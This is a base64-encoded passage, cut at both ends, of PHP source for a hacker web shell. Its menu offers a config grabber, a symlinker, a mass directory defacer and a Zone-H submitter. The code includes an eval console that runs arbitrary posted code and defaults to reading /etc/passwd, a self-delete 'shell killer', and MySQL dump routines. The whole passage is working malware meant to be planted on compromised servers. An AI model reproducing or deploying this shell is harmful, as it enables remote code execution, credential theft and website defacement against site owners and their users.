JHB3ZDsgPz4mYW1wO3g9c3FsIiB0aXRsZT0nQ29ubmVjdCBUbyBEYXRhYmFzZSc+TXlTUUwgTWFuYWdlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1qdW1waW5nIiB0aXRsZT0nSnVtcGluZyc+SnVtcGVyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1zeW1saW5rIiB0aXRsZT0nU3ltbGluayc+TXVsdGkgU3ltbGlua2VyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1ncmFiYyIgdGl0bGU9J0NvbmZpZyBHcmFiYmVyJz5Db25maWcgR3JhYmJlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1tYXNzIiB0aXRsZT0nRGVmYWNlIFRvIEFsbCBGb2xkZXInPk1hc3MgRGlyZWN0b3J5IERlZmFjZXI8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXpvbmUiIHRpdGxlPSdTdWJtaXQgVmljdGltIFRvIFpvbmUtSCc+Wm9uZS1IIFN1Ym1pdGVyPC9hPgo8L2Rpdj48L2NlbnRlcj48YnI+CjwhLS0gbWVudSBlbmQgLS0+Cjw/cGhwCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CgppZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAna2lsbCcpKSB7CiAgICAKICAgIGVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5TaGVsbCBLaWxsZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwoKZWNobyAnPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImNvbG9yOjw/PSRjb2xvcjsgPz4iPkRvIFlvdSBSZWFsbHkgV2FudCBUbyBEZWxldGUgVGhpcyBTaGVsbCA/PC9iPjwvY2VudGVyPjxicj4nOwo/Pgo8Y2VudGVyPgo8ZGl2IGlkPSJtZW51Ij4KPGEgIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7Pz4mYW1wO3g9a2lsbGl0IiB0aXRsZT0nUmVtb3ZlIFNoZWxsJyA+WWVzLCBJIFdhbnQ8L2ZvbnQ+PC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgCjxhICBocmVmPSI8Pz0kX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4iPkNhbmNlbDwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4KPC9kaXY+Cjw/cGhwCn0KaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2tpbGxpdCcpKSB7CiRmaWxlID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CmlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCmRpZSgnPGJyPjxicj48YiBjbGFzcz0idG1wIj48Zm9udCBjb2xvcj0iI2ZmMDAwMCIgc2l6ZT0iMnB0Ij48Y2VudGVyPlNoZWxsIEhhcyBCZWVuIEtpbGxlZC4uLiBUYWtlIENhcmUgQW5kIFN0YXkgU2FmZTwvY2VudGVyPjwvZm9udD48L2I+PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzsgdXJsPT8iLiRwd2QuIiIgLz4nKTsKZWxzZQplY2hvICc8Zm9udCBjb2xvcj0iI2ZmZjYwMCIgc2l6ZT0iMnB0Ij5VbmxpbmsgRXJyb3IgITwvZm9udD4nOwoKfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKQp7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPkV2YWw8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwogPz4KCjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO3g9cGhwIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjgwMHB4O2hlaWdodDozMDBweCI+Cjx0cj48dGQ+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjbWQiIGlkPSJjbWQiPgo8P3BocAppZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgewogICAgZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7Cn0KZWxzZSBlY2hvICJlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyI7Cj8+CjwvdGV4dGFyZWE+Cjx0cj48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo4MDBweDsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPgo8L3RhYmxlPgo8L2Zvcm0+Cgo8P3BocCB9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3FsJykpewogICAgZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPk15U1FMIE1hbmFnZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpIHsKICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQogIGVsc2UgewppZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQplbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30KZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CmVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30KcmV0dXJuICRzaXplOwogIH0KfQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsKICAkc29jayA9ICRzZXRbInNvY2siXTsKICAkZGIgPSAkc2V0WyJkYiJdOwogICRwcmludCA9ICRzZXRbInByaW50Il07CiAgJG5sMmJyID0gJHNldFsibmwyYnIiXTsKICAkZmlsZSA9ICRzZXRbImZpbGUiXTsKICAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOwogICR0YWJzID0gJHNldFsidGFicyJdOwogICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAgJHJldCA9IGFycmF5KCk7CiAgJHJldFsiZXJyIl0gPSBhcnJheSgpOwogIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9CiAgaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30KICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQogIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiAgaWYgKGVtcHR5KCRmaWxlKSkgewokZmlsZSA9ICR0bXBfZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogIH0KICBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9CiAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KICBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKSB7CiRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQogIH0KICAkb3V0ID0gIgogICMgRHVtcGVkIEJ5ICIuJHhOYW1lLiIKICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKICAjIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iCiAgIyBEQjogXCIiLiRkYi4iXCIKICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsKICAkYyA9IGNvdW50KCRvbmx5dGFicyk7CiAgZm9yZWFjaCgkdGFicyBhcyAkdGFiKSB7CmlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkgewogIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9CiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOwogIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQogIGVsc2Ugewokcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOwokb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwokcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7CiAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgewoka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQokdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwokc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiRvdXQgLj0gJHNxbDsKICB9Cn0KICB9Cn0KICB9CiAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOwogIGlmICgkZmlsZSkgewokZnAgPSBmb3BlbigkZmlsZSwgInciKTsKaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CmVsc2UgewogIGZ3cml0ZSAoJGZwLCAkb3V0KTsKICBmY2xvc2UgKCRmcCk7Cn0KICB9CiAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiAgcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKSB7CiAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9CiAgJHJlc3VsdCA9ICIiOwogIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikgewokdmFsdWUgPSAiIjsKaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30KJHZhbHVlIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CmlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsKICB9CiAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiAgcmV0dXJuICRyZXN1bHQ7Cn0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykgewogIGlmICgkc29jaykgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO30KICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAgJGFycmF5ID0gYXJyYXkoKTsKICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGFycmF5W10gPSAkcm93O30KICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICByZXR1cm4gJGFycmF5Owp9CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHNvY2spIHsKICBpZiAoJHNvY2spIHsgJGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spOyB9CiAgZWxzZSB7ICRlcnJvciA9IG15c3FsX2Vycm9yKCk7IH0KICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7CiAgcmV0dXJuICRlcnJvcjsKfQpmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkgewogIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQogIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7CmVjaG8gIjx0YWJsZT48dHI+PHRkPjxmb3JtIG5hbWU9XCJmeDI5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3ggdmFsdWU9cXVlcnk+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOwppZiAoJHRibF9zdHJ1Y3QpIHsKICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsKICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiKyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5meDI5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQogIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7Cn0KICB9CiAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9CmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpIHsKICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsKICBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQogIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KSB7CiAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOwogICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKICAkdHlwZXMgPSBhcnJheSgKIlNFTEVDVCI9PmFycmF5KDMsMSksCiJTSE9XIj0+YXJyYXkoMiwxKSwKIkRFTEVURSI9PmFycmF5KDEpLAoiRFJPUCI9PmFycmF5KDEpCiAgKTsKICAkcmVzdWx0ID0gYXJyYXkoKTsKICAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsKJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwokcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsKaWYgKCR0eXBlc1skb3BdID09IDIpIHsKICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7CmlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKSB7CiAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwp9CiAgfQp9CiAgfQogIGVsc2UgeyByZXR1cm4gRkFMU0U7IH0KfQpmdW5jdGlvbiBkaXNwX2Vycm9yKCRtc2cpIHsgZWNobyAiPGRpdiBjbGFzcz1lcnJtc2c+JG1zZzwvZGl2PlxuIjsgfQpmdW5jdGlvbiBodG1sX3N0eWxlKCkgewokc3R5bGUgPSAnIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+IGEgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfSBhOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IH0gaW5wdXRbdHlwZT0idGV4dCJdLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdLCBzZWxlY3R7IGJhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjA7IHBhZGRpbmc6MnB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7IH0gaW5wdXRbdHlwZT0ic3VibWl0Il17IGJhY2tncm91bmQ6IzExMTExMTsgY29sb3I6I2ZmZmZmZjsgbWFyZ2luOjAgNHB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7fSBpbnB1dFt0eXBlPSJ0ZXh0Il06aG92ZXIsIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdOmhvdmVyLCBzZWxlY3Q6aG92ZXJ7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXRvcDoxcHggc29saWQgIzAwZmYwMDt9IC50YWIgeyB3aWR0aDoxMDAlOyB9IHRoeyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7IGZvbnQtd2VpZ2h0Om5vcm1hbDsgfSAudHViIHsgd2lkdGg6MTAwJTsgfSAgLnR1YiB0aHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwZmYwMDsgcGFkZGluZzozcHg7fSAudHViIHRyOmhvdmVyeyBiYWNrZ3JvdW5kOiMwMDY0MDA7IH0gLnR1YiB0ZHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsgcGFkZGluZy1sZWZ0OjNweDsgfSAjbWFpbmluZm8geyBwYWRkaW5nOjVweDsgbWFyZ2luLXRvcDoxMHB4OyBtYXJnaW4tbGVmdDoycHg7IG1hcmdpbi1yaWdodDoycHg7IGJhY2tncm91bmQ6IzE5MTkxOTsgfSAjbWFpbmluZm8gYXsgY29sb3I6IzAwZmYwMDsgfSB0ZXh0YXJlYSB7IGJhY2tncm91bmQ6IzAwMDAwMDsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gdGV4dGFyZWE6aG92ZXIgeyBib3JkZXI6MXB4IHNvbGlkICMwMGZmMDA7fSA8L3N0eWxlPjxjZW50ZXI+JzsKcmV0dXJuICRzdHlsZTsKfQokYXV0b19zdXJsID0gVFJVRTsKZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrID0+ICR2KSB7CiAgaWYgKCFpc3NldCgkJGspKSB7ICQkayA9ICR2OyB9Cn0KaWYgKCRhdXRvX3N1cmwpIHsKICAkaW5jbHVkZSA9ICImIjsKICBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYoIlFVRVJZX1NUUklORyIpKSBhcyAkdikgewokdj0gZXhwbG9kZSgiPSIsJHYpOwokbmFtZT0gdXJsZGVjb2RlKCR2WzBdKTsKJHZhbHVlPSBAdXJsZGVjb2RlKCR2WzFdKTsKJG5lZWRsZXMgPSBhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpOwpmb3JlYWNoICgkbmVlZGxlcyBhcyAkbmVlZGxlKSB7CiAgaWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHsKJGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1lKS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiOwogIH0gfSB9IH0KaWYgKGVtcHR5KCRzdXJsKSkgeyAkc3VybCA9IGh0bWxzcGVjaWFsY2hhcnMoIj8iLkAkaW5jbHVkZXN0cik7IH0KaWYgKCFpc3NldCgkeCkpIHsgJHggPSAic3FsIjsgfQogIGlmICgkeCA9PSAic3FsIikgewogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgewppZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHsgJCR2ID0gJF9HRVRbJHZdOyB9CmlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHsgJCR2ID0gJF9QT1NUWyR2XTsgfQogIH0KICBpZiAoJHNvcnRfc2F2ZSkgewppZiAoIWVtcHR5KCRzb3J0KSkgeyBzZXRjb29raWUoInNvcnQiLCRzb3J0KTsgfQppZiAoIWVtcHR5KCRzcWxfc29ydCkpIHsgc2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTsgfQogIH0KICBpZiAoIWlzc2V0KCRzb3J0KSkgeyAkc29ydCA9ICRzb3J0X2RlZmF1bHQ7IH0KICAkc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7CiAgZWNobyBodG1sX3N0eWxlKCk7CmVjaG8gIjxkaXYgaWQ9J21haW5pbmZvJz4iOwogIGlmICgkeCA9PSAic3FsIikgewogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7CiAgaWYgKCFpc3NldCgkc3FsX2xvZ2luKSkgeyAkc3FsX2xvZ2luID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfcGFzc3dkKSkgeyAkc3FsX3Bhc3N3ZCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3NlcnZlcikpIHsgJHNxbF9zZXJ2ZXIgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9wb3J0KSkgeyAkc3FsX3BvcnQgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF90YmwpKSB7ICRzcWxfdGJsID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfeCkpIHsgJHNxbF94ID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfdGJsX3gpKSB7ICRzcWxfdGJsX3ggPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9vcmRlcikpIHsgJHNxbF9vcmRlciA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3gpKSB7ICRzcWxfeCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX2dldGZpbGUpKSB7ICRzcWxfZ2V0ZmlsZSA9ICIiOyB9CiAgaWYgKEAkc3FsX2xvZ2luKSAgeyAkc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyB9CiAgaWYgKEAkc3FsX3Bhc3N3ZCkgeyAkc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7IH0KICBpZiAoQCRzcWxfc2VydmVyKSB7ICRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgfQogIGlmIChAJHNxbF9wb3J0KXsgJHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7IH0KICBpZiAoQCRzcWxfZGIpIHsgJHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgfQogICRzcWxfc3VybCAuPSAiJiI7CiAgZWNobyAiIjsKICBpZiAoQCRzcW